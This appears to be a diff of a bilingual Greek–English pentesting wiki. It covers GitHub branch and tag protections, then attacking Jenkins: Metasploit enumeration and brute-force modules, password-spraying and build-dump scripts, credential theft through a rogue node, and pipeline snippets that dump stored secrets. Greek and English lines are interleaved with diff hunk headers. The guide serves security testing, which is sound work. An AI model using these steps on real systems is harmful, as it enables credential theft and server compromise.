Οι προστασίες κλάδων έχουν σχεδιαστεί για να **μην δίνουν πλήρη έλεγχο ενός repository** στους χρήστες. Ο στόχος είναι να **τοποθετηθούν πολλαπλές μεθόδοι προστασίας πριν κάποιος μπορέσει να γράψει κώδικα σε κάποιον κλάδο**.
Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**.
Οι **προστασίες κλάδων ενός repository** μπορούν να βρεθούν στο _https://github.com/\<orgname>/\<reponame>/settings/branches_
The **branch protections of a repository** can be found in _https://github.com/\<orgname>/\<reponame>/settings/branches_
> [!NOTE]
> Δεν είναι **δυνατό να οριστεί προστασία κλάδου σε επίπεδο οργάνωσης**. Έτσι όλες πρέπει να δηλωθούν σε κάθε repo.
> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo.
Διαφορετικές προστασίες μπορούν να εφαρμοστούν σε έναν κλάδο (όπως π.χ. στον master):
Different protections can be applied to a branch (like to master):
- Μπορείτε να **απαιτήσετε ένα PR πριν το merge** (ώστε να μην μπορείτε να συγχωνεύσετε απευθείας κώδικα στον κλάδο). Αν αυτό επιλεγεί, μπορούν να ισχύουν και άλλες προστασίες:
- **Απαιτήστε έναν αριθμό approvals**. Είναι πολύ συνηθισμένο να απαιτούνται 1 ή 2 ακόμα άτομα για να εγκρίνουν το PR ώστε ένας μόνο χρήστης να μην μπορεί να συγχωνεύει κώδικα απευθείας.
- **Απόρριψη εγκρίσεων όταν σπρώχνονται νέα commits** (Dismiss approvals when new commits are pushed). Αν δεν ενεργοποιηθεί, ένας χρήστης μπορεί να εγκρίνει νόμιμο κώδικα και μετά να προσθέσει κακόβουλο κώδικα και να τον συγχωνεύσει.
- **Απαιτήστε έγκριση του πιο πρόσφατου reviewable push**. Εξασφαλίζει ότι οποιαδήποτε νέα commits μετά από μια έγκριση (συμπεριλαμβανομένων push από άλλους συνεργάτες) επανεκκινούν την αναθεώρηση ώστε ένας επιτιθέμενος να μην μπορεί να κάνει push μεταγενέστερα της έγκρισης αλλαγές και να συγχωνεύσει.
- **Απαιτήστε reviews από Code Owners**. Τουλάχιστον 1 code owner του repo πρέπει να εγκρίνει το PR (ώστε "τυχαίοι" χρήστες να μην μπορούν να το εγκρίνουν).
- **Περιορίστε ποιος μπορεί να απορρίψει reviews pull request.** Μπορείτε να καθορίσετε άτομα ή teams που επιτρέπεται να απορρίπτουν reviews.
- **Επιτρέψτε σε καθορισμένους actors να παρακάμπτουν τις απαιτήσεις pull request.** Αυτοί οι χρήστες θα μπορούν να παρακάμπτουν τους προηγούμενους περιορισμούς.
- **Απαιτήστε να περάσουν status checks πριν το merge.** Ορισμένοι έλεγχοι πρέπει να περάσουν πριν συγχωνευτεί το commit (όπως μια GitHub App που αναφέρει αποτελέσματα SAST). Συμβουλή: δεσμεύστε τα απαιτούμενα checks σε μια συγκεκριμένη GitHub App· αλλιώς οποιαδήποτε app θα μπορούσε να παραποιήσει το check μέσω του Checks API, και πολλά bots αποδέχονται skip directives (π.χ., "@bot-name skip").
- **Απαιτήστε επίλυση συνομιλιών πριν το merge.** Όλα τα σχόλια στον κώδικα πρέπει να επιλυθούν πριν το PR συγχωνευτεί.
- **Απαιτήστε signed commits.** Τα commits πρέπει να είναι υπογεγραμμένα.
- **Απαιτήστε linear history.** Αποτρέπει τα merge commits από το να προωθηθούν σε ταιριαστούς κλάδους.
- **Συμπερίληψη administrators.** Αν αυτό δεν είναι ενεργοποιημένο, οι admins μπορούν να παρακάμπτουν τους περιορισμούς.
- **Περιορίστε ποιος μπορεί να κάνει push σε ταιριαστούς κλάδους.** Περιορίστε ποιος μπορεί να στείλει PR.
- You can **require a PR before merging** (so you cannot directly merge code over the branch). If this is select different other protections can be in place:
- **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly.
- **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it.
- **Require approval of the most recent reviewable push**. Ensures that any new commits after an approval (including pushes by other collaborators) re-trigger review so an attacker cannot push post-approval changes and merge.
- **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it)
- **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews.
- **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions.
- **Require status checks to pass before merging.** Some checks need to pass before being able to merge the commit (like a GitHub App reporting SAST results). Tip: bind required checks to a specific GitHub App; otherwise any app could spoof the check via the Checks API, and many bots accept skip directives (e.g., "@bot-name skip").
- **Require conversation resolution before merging**. All comments on the code needs to be resolved before the PR can be merged.
- **Require signed commits**. The commits need to be signed.
- **Require linear history.** Prevent merge commits from being pushed to matching branches.
- **Include administrators**. If this isn't set, admins can bypass the restrictions.
- **Restrict who can push to matching branches**. Restrict who can send a PR.
> [!NOTE]
> Όπως βλέπετε, ακόμη κι αν καταφέρετε να αποκτήσετε κάποια credentials ενός χρήστη, **τα repos μπορεί να είναι προστατευμένα αποτρέποντας σας από το να σπρώξετε κώδικα στο master** για παράδειγμα ώστε να παραβιάσετε το CI/CD pipeline.
> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline.
## Προστασίες Tags
## Tag Protections
Τα tags (όπως latest, stable) είναι μεταβλητά από προεπιλογή. Για να εφαρμόσετε μια ροή τεσσάρων ματιών στις ενημερώσεις tags, προστατεύστε τα tags και αλυσσοδέστε τις προστασίες μέσω περιβαλλόντων και κλάδων:
Tags (like latest, stable) are mutable by default. To enforce a foureyes flow on tag updates, protect tags and chain protections through environments and branches:
1) Στον κανόνα προστασίας tag, ενεργοποιήστε το **Require deployments to succeed** και απαιτήστε έναν επιτυχή deployment σε ένα προστατευμένο περιβάλλον (π.χ., prod).
2) Στο στοχευόμενο περιβάλλον, περιορίστε τα **Deployment branches and tags** στον release branch (π.χ., main) και προαιρετικά ρυθμίστε **Required reviewers** με **Prevent self-review**.
3) Στον release κλάδο, ρυθμίστε τις προστασίες κλάδου για να **απαιτήσετε pull request**, ορίστε approvals ≥ 1, και ενεργοποιήστε τόσο το **Dismiss approvals when new commits are pushed** όσο και το **Require approval of the most recent reviewable push**.
1) On the tag protection rule, enable **Require deployments to succeed** and require a successful deployment to a protected environment (e.g., prod).
2) In the target environment, restrict **Deployment branches and tags** to the release branch (e.g., main) and optionally configure **Required reviewers** with **Prevent self-review**.
3) On the release branch, configure branch protections to **Require a pull request**, set approvals ≥ 1, and enable both **Dismiss approvals when new commits are pushed** and **Require approval of the most recent reviewable push**.
Αυτή η αλυσίδα αποτρέπει έναν μοναδικό συνεργάτη από το να επαναεπισημάνει (retag) ή να κάνει force-publish releases επεξεργαζόμενος το workflow YAML, γιατί οι πύλες (deployment gates) επιβάλλονται έξω από τα workflows.
This chain prevents a single collaborator from retagging or force-publishing releases by editing workflow YAML, since deployment gates are enforced outside of workflows.
## Αναφορές
## References
- [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)
- [https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise](https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)[https://docs.github.com/en/enterprise-server](https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)
@@ -267,3 +273,5 @@ environment: env_name
- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## Basic Information
Jenkins είναι ένα εργαλείο που προσφέρει μια απλή μέθοδο για τη δημιουργία ενός **continuous integration** ή **continuous delivery** (CI/CD) περιβάλλοντος για σχεδόν **οποιονδήποτε** συνδυασμό **γλωσσών προγραμματισμού** και αποθετηρίων πηγαίου κώδικα χρησιμοποιώντας pipelines. Επιπλέον, αυτοματοποιεί διάφορες ρουτίνες ανάπτυξης. Ενώ το Jenkins δεν εξαλείφει την **ανάγκη δημιουργίας scripts για μεμονωμένα βήματα**, παρέχει μια ταχύτερη και πιο αξιόπιστη μέθοδο για την ενσωμάτωση ολόκληρης της ακολουθίας εργαλείων κατασκευής, δοκιμής και ανάπτυξης από ό,τι μπορεί κανείς να κατασκευάσει εύκολα χειροκίνητα.
Jenkins is a tool that offers a straightforward method for establishing a **continuous integration** or **continuous delivery** (CI/CD) environment for almost **any** combination of **programming languages** and source code repositories using pipelines. Furthermore, it automates various routine development tasks. While Jenkins doesn't eliminate the **need to create scripts for individual steps**, it does provide a faster and more robust way to integrate the entire sequence of build, test, and deployment tools than one can easily construct manually.
{{#ref}}
basic-jenkins-information.md
@@ -12,68 +12,74 @@ basic-jenkins-information.md
## Unauthenticated Enumeration
Για να αναζητήσετε ενδιαφέροντες σελίδες Jenkins χωρίς αυθεντικοποίηση όπως (_/people_ ή _/asynchPeople_, αυτή η λίστα περιλαμβάνει τους τρέχοντες χρήστες) μπορείτε να χρησιμοποιήσετε:
In order to search for interesting Jenkins pages without authentication like (_/people_ or _/asynchPeople_, this lists the current users) you can use:
```
msf> use auxiliary/scanner/http/jenkins_enum
```
Ελέγξτε αν μπορείτε να εκτελέσετε εντολές χωρίς να χρειάζεται αυθεντικοποίηση:
Check if you can execute commands without needing authentication:
```
msf> use auxiliary/scanner/http/jenkins_command
```
Χωρίς διαπιστευτήρια μπορείτε να κοιτάξετε μέσα στο _**/asynchPeople/**_ path ή _**/securityRealm/user/admin/search/index?q=**_ για **usernames**.
Μπορείτε να αποκτήσετε την έκδοση του Jenkins από το path _**/oops**_ ή _**/error**_.
Without credentials you can look inside _**/asynchPeople/**_ path or _**/securityRealm/user/admin/search/index?q=**_ for **usernames**.
You may be able to get the Jenkins version from the path _**/oops**_ or _**/error**_
![](<../../images/image (146).png>)
### Γνωστές Ευπάθειες
### Known Vulnerabilities
{{#ref}}
https://github.com/gquere/pwn_jenkins
{{#endref}}
## Σύνδεση
## Login
Στις βασικές πληροφορίες μπορείτε να ελέγξετε **όλους τους τρόπους σύνδεσης μέσα στο Jenkins**:
In the basic information you can check **all the ways to login inside Jenkins**:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
### Εγγραφή
### Register
Θα μπορείτε να βρείτε παραδείγματα Jenkins που **επιτρέπουν να δημιουργήσετε έναν λογαριασμό και να συνδεθείτε σε αυτόν. Όσο απλό και αν ακούγεται.**
You will be able to find Jenkins instances that **allow you to create an account and login inside of it. As simple as that.**
### **Σύνδεση SSO**
### **SSO Login**
Επίσης, αν η **λειτουργικότητα**/**plugins** SSO ήταν παρούσα, τότε θα πρέπει να προσπαθήσετε να **συνδεθείτε** στην εφαρμογή χρησιμοποιώντας έναν δοκιμαστικό λογαριασμό (π.χ., έναν δοκιμαστικό **λογαριασμό Github/Bitbucket**). Τρικ από [**εδώ**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
Also if **SSO** **functionality**/**plugins** were present then you should attempt to **log-in** to the application using a test account (i.e., a test **Github/Bitbucket account**). Trick from [**here**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
### Bruteforce
**Jenkins** στερείται **πολιτικής κωδικών πρόσβασης** και **μετριασμού brute-force για usernames**. Είναι απαραίτητο να **brute-force** τους χρήστες καθώς **αδύναμοι κωδικοί πρόσβασης** ή **usernames ως κωδικοί πρόσβασης** μπορεί να είναι σε χρήση, ακόμη και **αντίστροφα usernames ως κωδικοί πρόσβασης**.
**Jenkins** lacks **password policy** and **username brute-force mitigation**. It's essential to **brute-force** users since **weak passwords** or **usernames as passwords** may be in use, even **reversed usernames as passwords**.
```
msf> use auxiliary/scanner/http/jenkins_login
```
### Password spraying
Χρησιμοποιήστε [αυτό το python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) ή [αυτό το powershell script](https://github.com/chryzsh/JenkinsPasswordSpray).
Use [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) or [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray).
### IP Whitelisting Bypass
Πολλές οργανώσεις συνδυάζουν **SaaS-based source control management (SCM) systems** όπως το GitHub ή το GitLab με μια **εσωτερική, self-hosted CI** λύση όπως το Jenkins ή το TeamCity. Αυτή η ρύθμιση επιτρέπει στα CI συστήματα να **λαμβάνουν webhook events από SaaS source control vendors**, κυρίως για την ενεργοποίηση pipeline jobs.
Many organizations combine **SaaS-based source control management (SCM) systems** such as GitHub or GitLab with an **internal, self-hosted CI** solution like Jenkins or TeamCity. This setup allows CI systems to **receive webhook events from SaaS source control vendors**, primarily for triggering pipeline jobs.
Για να το επιτύχουν αυτό, οι οργανώσεις **whitelist** τις **IP ranges** των **SCM platforms**, επιτρέποντάς τους να έχουν πρόσβαση στο **internal CI system** μέσω **webhooks**. Ωστόσο, είναι σημαντικό να σημειωθεί ότι **οποιοσδήποτε** μπορεί να δημιουργήσει έναν **λογαριασμό** στο GitHub ή το GitLab και να τον ρυθμίσει ώστε να **ενεργοποιεί ένα webhook**, πιθανώς στέλνοντας αιτήματα στο **internal CI system**.
To achieve this, organizations **whitelist** the **IP ranges** of the **SCM platforms**, permitting them to access the **internal CI system** via **webhooks**. However, it's important to note that **anyone** can create an **account** on GitHub or GitLab and configure it to **trigger a webhook**, potentially sending requests to the **internal CI system**.
Ελέγξτε: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
Check: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
## Internal Jenkins Abuses
Σε αυτά τα σενάρια θα υποθέσουμε ότι έχετε έναν έγκυρο λογαριασμό για πρόσβαση στο Jenkins.
In these scenarios we are going to suppose you have a valid account to access Jenkins.
> [!WARNING]
> Ανάλογα με τον μηχανισμό **Authorization** που έχει ρυθμιστεί στο Jenkins και την άδεια του παραβιασμένου χρήστη, **μπορεί να είστε σε θέση ή όχι να εκτελέσετε τις παρακάτω επιθέσεις.**
> Depending on the **Authorization** mechanism configured in Jenkins and the permission of the compromised user you **might be able or not to perform the following attacks.**
Για περισσότερες πληροφορίες ελέγξτε τις βασικές πληροφορίες:
For more information check the basic information:
{{#ref}}
basic-jenkins-information.md
@@ -81,212 +87,226 @@ basic-jenkins-information.md
### Listing users
Αν έχετε αποκτήσει πρόσβαση στο Jenkins, μπορείτε να καταγράψετε άλλους καταχωρημένους χρήστες στο [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)
If you have accessed Jenkins you can list other registered users in [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)
### Dumping builds to find cleartext secrets
Χρησιμοποιήστε [αυτό το script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) για να εξάγετε τις κονσόλες εξόδου των builds και τις μεταβλητές περιβάλλοντος των builds για να βρείτε ελπίζοντας καθαρές μυστικές πληροφορίες.
Use [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) to dump build console outputs and build environment variables to hopefully find cleartext secrets.
```bash
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v
```
### **Κλοπή Διαπιστευτηρίων SSH**
Εάν ο παραβιασμένος χρήστης έχει **αρκετά δικαιώματα για να δημιουργήσει/τροποποιήσει έναν νέο κόμβο Jenkins** και τα διαπιστευτήρια SSH είναι ήδη αποθηκευμένα για πρόσβαση σε άλλους κόμβους, θα μπορούσε να **κλέψει αυτά τα διαπιστευτήρια** δημιουργώντας/τροποποιώντας έναν κόμβο και **ορίζοντας έναν κεντρικό υπολογιστή που θα καταγράψει τα διαπιστευτήρια** χωρίς να επαληθεύσει το κλειδί του κεντρικού υπολογιστή:
### **Stealing SSH Credentials**
If the compromised user has **enough privileges to create/modify a new Jenkins node** and SSH credentials are already stored to access other nodes, he could **steal those credentials** by creating/modifying a node and **setting a host that will record the credentials** without verifying the host key:
![](<../../images/image (218).png>)
Συνήθως θα βρείτε τα διαπιστευτήρια ssh του Jenkins σε έναν **παγκόσμιο πάροχο** (`/credentials/`), οπότε μπορείτε επίσης να τα εξάγετε όπως θα εξάγατε οποιοδήποτε άλλο μυστικό. Περισσότερες πληροφορίες στην [**Ενότητα Εξαγωγής μυστικών**](./#dumping-secrets).
You will usually find Jenkins ssh credentials in a **global provider** (`/credentials/`), so you can also dump them as you would dump any other secret. More information in the [**Dumping secrets section**](#dumping-secrets).
### **RCE στο Jenkins**
### **RCE in Jenkins**
Η απόκτηση ενός **shell στον διακομιστή Jenkins** δίνει στον επιτιθέμενο την ευκαιρία να διαρρεύσει όλα τα **μυστικά** και τις **μεταβλητές περιβάλλοντος** και να **εκμεταλλευτεί άλλες μηχανές** που βρίσκονται στο ίδιο δίκτυο ή ακόμη και να **συγκεντρώσει διαπιστευτήρια cloud**.
Getting a **shell in the Jenkins server** gives the attacker the opportunity to leak all the **secrets** and **env variables** and to **exploit other machines** located in the same network or even **gather cloud credentials**.
Από προεπιλογή, το Jenkins θα **τρέχει ως SYSTEM**. Έτσι, η παραβίαση του θα δώσει στον επιτιθέμενο **δικαιώματα SYSTEM**.
By default, Jenkins will **run as SYSTEM**. So, compromising it will give the attacker **SYSTEM privileges**.
### **RCE Δημιουργία/Τροποποίηση έργου**
### **RCE Creating/Modifying a project**
Η δημιουργία/τροποποίηση ενός έργου είναι ένας τρόπος για να αποκτήσετε RCE στον διακομιστή Jenkins:
Creating/Modifying a project is a way to obtain RCE over the Jenkins server:
{{#ref}}
jenkins-rce-creating-modifying-project.md
{{#endref}}
### **RCE Εκτέλεση σεναρίου Groovy**
### **RCE Execute Groovy script**
Μπορείτε επίσης να αποκτήσετε RCE εκτελώντας ένα σενάριο Groovy, το οποίο μπορεί να είναι πιο διακριτικό από τη δημιουργία ενός νέου έργου:
You can also obtain RCE executing a Groovy script, which might my stealthier than creating a new project:
{{#ref}}
jenkins-rce-with-groovy-script.md
{{#endref}}
### RCE Δημιουργία/Τροποποίηση Pipeline
### RCE Creating/Modifying Pipeline
Μπορείτε επίσης να αποκτήσετε **RCE δημιουργώντας/τροποποιώντας ένα pipeline**:
You can also get **RCE by creating/modifying a pipeline**:
{{#ref}}
jenkins-rce-creating-modifying-pipeline.md
{{#endref}}
## Εκμετάλλευση Pipeline
## Pipeline Exploitation
Για να εκμεταλλευτείτε τα pipelines, πρέπει ακόμα να έχετε πρόσβαση στο Jenkins.
To exploit pipelines you still need to have access to Jenkins.
### Δημιουργία Pipelines
### Build Pipelines
**Pipelines** μπορούν επίσης να χρησιμοποιηθούν ως **μηχανισμός κατασκευής σε έργα**, σε αυτή την περίπτωση μπορεί να ρυθμιστεί ένα **αρχείο μέσα στο αποθετήριο** που θα περιέχει τη σύνταξη του pipeline. Από προεπιλογή χρησιμοποιείται το `/Jenkinsfile`:
**Pipelines** can also be used as **build mechanism in projects**, in that case it can be configured a **file inside the repository** that will contains the pipeline syntax. By default `/Jenkinsfile` is used:
![](<../../images/image (127).png>)
Είναι επίσης δυνατό να **αποθηκεύσετε αρχεία ρύθμισης pipeline σε άλλα μέρη** (σε άλλα αποθετήρια για παράδειγμα) με στόχο να **χωρίσετε** την **πρόσβαση** στο αποθετήριο και την πρόσβαση στο pipeline.
It's also possible to **store pipeline configuration files in other places** (in other repositories for example) with the goal of **separating** the repository **access** and the pipeline access.
Εάν ένας επιτιθέμενος έχει **δικαιώματα εγγραφής σε αυτό το αρχείο**, θα είναι σε θέση να **τροποποιήσει** και **πιθανώς να ενεργοποιήσει** το pipeline χωρίς καν να έχει πρόσβαση στο Jenkins.\
Είναι πιθανό ο επιτιθέμενος να χρειαστεί να **παρακάμψει κάποιες προστασίες κλάδου** (ανάλογα με την πλατφόρμα και τα δικαιώματα του χρήστη, αυτές μπορεί να παρακαμφθούν ή όχι).
If an attacker have **write access over that file** he will be able to **modify** it and **potentially trigger** the pipeline without even having access to Jenkins.\
It's possible that the attacker will need to **bypass some branch protections** (depending on the platform and the user privileges they could be bypassed or not).
Οι πιο συνηθισμένοι ενεργοποιητές για την εκτέλεση ενός προσαρμοσμένου pipeline είναι:
The most common triggers to execute a custom pipeline are:
- **Pull request** προς τον κύριο κλάδο (ή πιθανώς προς άλλους κλάδους)
- **Push στον κύριο κλάδο** (ή πιθανώς προς άλλους κλάδους)
- **Ενημέρωση του κύριου κλάδου** και αναμονή μέχρι να εκτελεστεί με κάποιο τρόπο
- **Pull request** to the main branch (or potentially to other branches)
- **Push to the main branch** (or potentially to other branches)
- **Update the main branch** and wait until it's executed somehow
> [!NOTE]
> Εάν είστε **εξωτερικός χρήστης**, δεν θα πρέπει να περιμένετε να δημιουργήσετε ένα **PR στον κύριο κλάδο** του αποθετηρίου **άλλου χρήστη/οργάνωσης** και να **ενεργοποιήσετε το pipeline**... αλλά αν είναι **κακώς ρυθμισμένο**, θα μπορούσατε να **παραβιάσετε πλήρως εταιρείες απλά εκμεταλλευόμενοι αυτό**.
> If you are an **external user** you shouldn't expect to create a **PR to the main branch** of the repo of **other user/organization** and **trigger the pipeline**... but if it's **bad configured** you could fully **compromise companies just by exploiting this**.
### RCE Pipeline
### Pipeline RCE
Στην προηγούμενη ενότητα RCE, είχε ήδη υποδειχθεί μια τεχνική για [**να αποκτήσετε RCE τροποποιώντας ένα pipeline**](./#rce-creating-modifying-pipeline).
In the previous RCE section it was already indicated a technique to [**get RCE modifying a pipeline**](#rce-creating-modifying-pipeline).
### Έλεγχος Μεταβλητών Περιβάλλοντος
### Checking Env variables
It's possible to declare **clear text env variables** for the whole pipeline or for specific stages. This env variables **shouldn't contain sensitive info**, but and attacker could always **check all the pipeline** configurations/Jenkinsfiles:
Είναι δυνατόν να δηλώσετε **μεταβλητές περιβάλλοντος σε καθαρό κείμενο** για ολόκληρο το pipeline ή για συγκεκριμένα στάδια. Αυτές οι μεταβλητές περιβάλλοντος **δεν θα πρέπει να περιέχουν ευαίσθητες πληροφορίες**, αλλά ένας επιτιθέμενος θα μπορούσε πάντα να **ελέγξει όλες τις ρυθμίσεις του pipeline**/Jenkinsfiles:
```bash
pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}
stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
```
### Dumping secrets
Για πληροφορίες σχετικά με το πώς συνήθως αντιμετωπίζονται τα μυστικά από τον Jenkins, ελέγξτε τις βασικές πληροφορίες:
For information about how are secrets usually treated by Jenkins check out the basic information:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
Τα διαπιστευτήρια μπορούν να είναι **περιορισμένα σε παγκόσμιους παρόχους** (`/credentials/`) ή σε **συγκεκριμένα έργα** (`/job/<project-name>/configure`). Επομένως, για να εξάγετε όλα αυτά, πρέπει να **συμβιβάσετε τουλάχιστον όλα τα έργα** που περιέχουν μυστικά και να εκτελέσετε προσαρμοσμένες/δηλητηριασμένες ροές.
Credentials can be **scoped to global providers** (`/credentials/`) or to **specific projects** (`/job/<project-name>/configure`). Therefore, in order to exfiltrate all of them you need to **compromise at least all the projects** that contains secrets and execute custom/poisoned pipelines.
There is another problem, in order to get a **secret inside the env** of a pipeline you need to **know the name and type of the secret**. For example, you try lo **load** a **`usernamePassword`** **secret** as a **`string`** **secret** you will get this **error**:
Υπάρχει ένα άλλο πρόβλημα, για να αποκτήσετε ένα **μυστικό μέσα στο env** μιας ροής, πρέπει να **γνωρίζετε το όνομα και τον τύπο του μυστικού**. Για παράδειγμα, αν προσπαθήσετε να **φορτώσετε** ένα **`usernamePassword`** **μυστικό** ως **`string`** **μυστικό**, θα λάβετε αυτό το **σφάλμα**:
```
ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
```
Εδώ έχετε τον τρόπο να φορτώσετε μερικούς κοινούς τύπους μυστικών:
Here you have the way to load some common secret types:
```bash
withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
sh '''
env #Search for USERNAME and PASS
'''
}
withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
sh '''
env #Search for SECRET
'''
}
withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
sh '''
env # Search for USERPASS
'''
}
# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}
```
Στο τέλος αυτής της σελίδας μπορείτε να **βρείτε όλους τους τύπους διαπιστευτηρίων**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
At the end of this page you can **find all the credential types**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
> [!WARNING]
> Ο καλύτερος τρόπος για να **ξεφορτωθείτε όλα τα μυστικά ταυτόχρονα** είναι να **παραβιάσετε** τη μηχανή **Jenkins** (τρέχοντας ένα reverse shell στον **ενσωματωμένο κόμβο**, για παράδειγμα) και στη συνέχεια να **διαρρεύσετε** τα **κύρια κλειδιά** και τα **κρυπτογραφημένα μυστικά** και να τα αποκρυπτογραφήσετε εκτός σύνδεσης.\
> Περισσότερα σχετικά με το πώς να το κάνετε αυτό στην ενότητα [Nodes & Agents](./#nodes-and-agents) και στην ενότητα [Post Exploitation](./#post-exploitation).
> The best way to **dump all the secrets at once** is by **compromising** the **Jenkins** machine (running a reverse shell in the **built-in node** for example) and then **leaking** the **master keys** and the **encrypted secrets** and decrypting them offline.\
> More on how to do this in the [Nodes & Agents section](#nodes-and-agents) and in the [Post Exploitation section](#post-exploitation).
### Triggers
Από [την τεκμηρίωση](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): Η οδηγία `triggers` ορίζει τους **αυτοματοποιημένους τρόπους με τους οποίους η Pipeline θα πρέπει να επαναληφθεί**. Για Pipelines που είναι ενσωματωμένες με μια πηγή όπως το GitHub ή το BitBucket, οι `triggers` μπορεί να μην είναι απαραίτητοι καθώς η ενσωμάτωσή τους με webhooks πιθανότατα θα είναι ήδη παρούσα. Οι διαθέσιμοι triggers αυτή τη στιγμή είναι οι `cron`, `pollSCM` και `upstream`.
From [the docs](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): The `triggers` directive defines the **automated ways in which the Pipeline should be re-triggered**. For Pipelines which are integrated with a source such as GitHub or BitBucket, `triggers` may not be necessary as webhooks-based integration will likely already be present. The triggers currently available are `cron`, `pollSCM` and `upstream`.
Cron example:
Παράδειγμα Cron:
```bash
triggers { cron('H */4 * * 1-5') }
```
Ελέγξτε **άλλα παραδείγματα στα έγγραφα**.
### Κόμβοι & Πράκτορες
Check **other examples in the docs**.
Μια **έκδοση Jenkins** μπορεί να έχει **διαφορετικούς πράκτορες που εκτελούνται σε διαφορετικές μηχανές**. Από την οπτική γωνία ενός επιτιθέμενου, η πρόσβαση σε διαφορετικές μηχανές σημαίνει **διαφορετικά δυνητικά διαπιστευτήρια cloud** για κλοπή ή **διαφορετική πρόσβαση στο δίκτυο** που θα μπορούσε να καταχραστεί για να εκμεταλλευτεί άλλες μηχανές.
### Nodes & Agents
Για περισσότερες πληροφορίες, ελέγξτε τις βασικές πληροφορίες:
A **Jenkins instance** might have **different agents running in different machines**. From an attacker perspective, access to different machines means **different potential cloud credentials** to steal or **different network access** that could be abuse to exploit other machines.
For more information check the basic information:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
Μπορείτε να απαριθμήσετε τους **ρυθμισμένους κόμβους** στο `/computer/`, συνήθως θα βρείτε τον \*\*`Built-In Node` \*\* (ο οποίος είναι ο κόμβος που εκτελεί το Jenkins) και πιθανώς περισσότερους:
You can enumerate the **configured nodes** in `/computer/`, you will usually find the \*\*`Built-In Node` \*\* (which is the node running Jenkins) and potentially more:
![](<../../images/image (249).png>)
Είναι **ιδιαίτερα ενδιαφέρον να συμβιβαστεί ο Built-In κόμβος** επειδή περιέχει ευαίσθητες πληροφορίες του Jenkins.
It is **specially interesting to compromise the Built-In node** because it contains sensitive Jenkins information.
To indicate you want to **run** the **pipeline** in the **built-in Jenkins node** you can specify inside the pipeline the following config:
Για να δηλώσετε ότι θέλετε να **εκτελέσετε** την **pipeline** στον **ενσωματωμένο κόμβο Jenkins**, μπορείτε να καθορίσετε μέσα στην pipeline την εξής ρύθμιση:
```bash
pipeline {
agent {label 'built-in'}
agent {label 'built-in'}
```
### Πλήρης παράδειγμα
